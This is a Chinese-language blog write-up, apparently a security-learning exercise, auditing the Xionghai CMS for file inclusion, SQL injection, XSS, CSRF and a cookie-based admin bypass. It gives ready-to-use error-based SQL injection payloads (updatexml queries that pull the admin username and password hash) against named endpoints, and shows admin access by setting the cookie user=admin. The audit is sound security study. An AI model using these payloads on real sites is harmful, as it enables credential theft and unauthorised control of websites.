熊海cms渗透测试

首先,先进行代码审计,丢进seay源代码审计系统自动审计,然后接着一个个手动分析代码

熊海cms渗透测试_第1张图片

1.文件包含

/index.php 和admin/index.php代码如下

熊海cms渗透测试_第2张图片

分析代码,接收传进来的参数r,进行addslashes过滤( 在每个双引号(")前添加反斜杠: ),然后进行判断,再进行文件包含,则这里是个文件包含漏洞,它加的过滤没效果,到files目录下加一个999.php,然后访问网页输出对应内容

熊海cms渗透测试_第3张图片

熊海cms渗透测试_第4张图片

2.SQL注入

看了Seay自动审计可能存在的漏洞,然后有些报的SQL注入有些是误报,如下面误报的文件,没有利用价值(个人认为)

熊海cms渗透测试_第5张图片

1.admin/files/login.php

熊海cms渗透测试_第6张图片

分析代码,post传用户名和密码,然后没有经过过滤,直接插进SQL语句中然后查询,这里存在SQL注入漏洞。

先是对user进行查询,user查询成功才进行password的判断,传进来的password经过MD5加密后与数据库的password对比。查询不成功则报错,mysql.error()函数是返回上一个 MySQL 操作产生的文本错误信息。

熊海cms渗透测试_第7张图片

访问后台,用万能语句试一下1' and 1=1 --+,报错了

所以结合mysql.error()函数进行报错注入,将错误的信息给爆出来回显到页面里,这里我用最熟悉的updatexml()函数,函数里给了表为manage,去后台登录试一下,爆用户名

1' or updatexml(1,concat((select concat(0x7e,user) from manage)),3) #

熊海cms渗透测试_第8张图片

回显用户名为admin,接着爆密码,这里提一下updatexml(),它爆出来的字段只有27位,而数据库的passwordMD5值是32位,所以要爆两次,相同部分拼接再进行MD5解密即可

1' or updatexml(1,concat((select concat(password,0x7e) from manage)),3) #

2.admin/files/editcolumn.php

自动审计报错了这个文件,但是在报错点没有找到问题,但我往上看来代码,发现了上面存在漏洞

熊海cms渗透测试_第9张图片

传进来的id和type没有经过过滤,然后把传进来的id插进SQL语句中查询,然后不成功就报错,这样我们就跟上一个漏洞点一样,用报错注入把数据爆出来回显

?r=editcolumn&type=1&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

?r=editcolumn&type=1&id=1' and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema = 'taco')),1)--+

但是表报的不完全,没有把manage爆出来,但我们在loign.php知道有manage这个表

?r=editcolumn&type=1&id=1' and updatexml(1,concat(0x7e,(select group_concat(user) from manage),0x7e),1)--+

3.admin/files/editlink.php、admin/files/editsoft.php、admin/files/editwz.php

也是报错点误报,但文件其他地方存在漏洞,也就是跟上面一样得意思,同样得漏洞

熊海cms渗透测试_第10张图片

?r=editlink&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆出了数据库,其他操作都一样

4.admin/files/newlink.php

熊海cms渗透测试_第11张图片

这里是post传参,然后也是没对那些参数过滤,然后插入进去创建新用户,这里处在SQL注入,也是报错注入获得数据, 构造闭合直接开注即可

?save=1&name=123&url=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'

5.admin/files/reply.php

跟上面的一样,然后把数据库爆出来,接下来都是跟上面一样

熊海cms渗透测试_第12张图片

?r=reply&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

熊海cms渗透测试_第13张图片

6./files/content.php

传进来的cid经过addslashes过滤后直接查入,单引号都不加,这里存在漏洞,还有变量navid那里,都一样,跟上面一样

熊海cms渗透测试_第14张图片

index.php/?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

熊海cms渗透测试_第15张图片

xss

1.files/contact.php

熊海cms渗透测试_第16张图片

熊海cms渗透测试_第17张图片

这里的传进来的page经过addslashes()过滤,addslashes()只过滤了'、"、\、NULL,仍然可以执行xss命令,这里是反射型xss

?r=contact&page=

熊海cms渗透测试_第18张图片

2.files/list.php、files/download.php

熊海cms渗透测试_第19张图片

这两个也是页数那里有问题,这个直接不过滤,payload也一样

熊海cms渗透测试_第20张图片

csrf漏洞

admin/files/wzlist.php、admin/files/linklist.php

熊海cms渗透测试_第21张图片

两个都是传进来的delete没有过滤,也没有token验证就直接删除掉,很明显存在csrf攻击的,这里利用burp的自带工具生成poc,然后换一个浏览器访问,就会把delete对应的数据删除,这道题我的burp出了问题抓不了包,所以演示不了,思路是根据pikachu靶场上的题然后推出来的,因为这道题没有任何验证

垂直越权

inc/checklogin.php

熊海cms渗透测试_第22张图片

如果COOKIE中user为空,跳转到登陆窗。 所以要是COOKIE的user为admin的话,就会成功登录,很明显存在最简单的垂直越权,只要抓一个登录的数据包,在COOKIE里设置user=admin,即可登录admin

熊海cms渗透测试_第23张图片

熊海cms渗透测试_第24张图片

你可能感兴趣的:(php,开发语言,网络安全,web安全,安全)